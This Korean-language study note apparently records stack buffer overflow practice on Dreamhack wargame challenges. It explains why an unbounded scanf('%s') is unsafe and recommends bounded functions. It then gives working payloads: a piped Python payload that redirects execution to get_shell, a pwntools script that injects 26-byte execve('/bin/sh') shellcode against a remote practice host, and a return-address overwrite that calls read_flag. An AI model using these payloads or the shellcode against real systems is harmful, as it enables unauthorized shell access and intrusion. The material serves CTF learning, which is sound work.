아래 코드에서 취약점을 찾아보세요!
#include <stdio.h>
#include <unistd.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void get_shell() {
char *cmd = "/bin/sh";
char *args[] = {cmd, NULL};
execve(cmd, args, NULL);
}
int main() {
char buf[0x28];
init();
printf("Input: ");
scanf("%s", buf);
return 0;
}
scanf("%s", buf);
scanf
의 %s
는 입력의 길이를 제한하지 않는다.
-> scanf
에 %s
포맷 스트링은 절대로 사용하지 말아야 한다!
정확히 n개의 문자만 입력받는 %[n]s
의 형태로 사용해야 한다.
strcpy
, strcat
, sprintf
가 있다.strncpy
, strncat
, snprintf
, fgets
, memcpy
등 버퍼의 크기를 같이 입력하는 코드를 작성하는 것이 바람직하다.취약점 발현
segmentation falut
가 뜬다!gdb -c core
로 코어 파일 오픈
입력할 버퍼와 반환 주소 사이에 0x38만큼의 거리가 있으므로, 그만큼을 쓰레기 값(dummy data)으로 채우고, 실행하고자 하는 코드의 주소를 입력하면 실행 흐름을 조작할 수 있다.
get_shell()의 주소로 main 함수의 반환 주소를 덮어 셸을 획득한다.
페이로드란? 공격을 위해 프로그램에 전달하는 데이터
예제에서는 리틀 엔디언을 사용하는 인텔 x86-64 아키텍처를 대상으로 한다!
-> 즉, get_shell의 주소 예시인 0x4006aa
는 \xaa\x06\x40\x00\x00\x00\x00\x00
로 전달되어야 한다.
(python -c "import sys;sys.stdout.buffer.write(b'A'*0x30 + b'B'*0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| ./rao
(python -c "import sys;sys.stdout.buffer.write(b'A'0x30 + b'B'0x8 + b'\xaa\x06\x40\x00\x00\x00\x00\x00')";cat)| nc [HOST][PORT]
예상 하기론
buf(128)|sfp(4)|ret(4)
이럴 거 같으니...
디버깅 해서 확인해봅시다
gdb -q basic_exploitation_000
input :AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACCCCBBBB
를 넣어보면 ret에 0x42424242 즉, BBBB가 들어가있는 것 확인 가능!
-> 해당 위치에 임의의 return address를 넣어 덮어쓰기
idea
앞에 더미 값을 주고,
ret을 buf의 주소로 덮어씌우면
buf에 넣은 쉘코드를 실행할 수 있겠구나~
쉘코드 : 26 Bytes Shell Code (scanf 우회 쉘코드)
\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80
python 코드
from pwn import * # 첫 번째 인자에는 'HOST'를 # 두 번째 인자에는 'PORT' 입력 # 아래는 예시! p = remote('host3.dreamhack.games',15895) p.recvuntil('buf = (') buf = int(p.recv(10), 16) # 26byte scanf 우회 쉘코드 (띄어쓰기 등, scanf에 걸리는 아이들이 빠진 쉘코드!) shell = b"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80" payload = shell + b'A'*(132-len(shell)) payload += p32(buf) p.sendline(payload) p.interactive() |
얜 위에 거보다 쉬움! 함수의 주소만 확인 하면 됨.
print read_flag
-> 0x80485b9
1 2 3 4 5 6 7 8 9 | from pwn import * p = remote('host3.dreamhack.games',12958) payload = b'A'*132 payload+=p32(0x80485b9) p.sendline(payload) p.interactive() |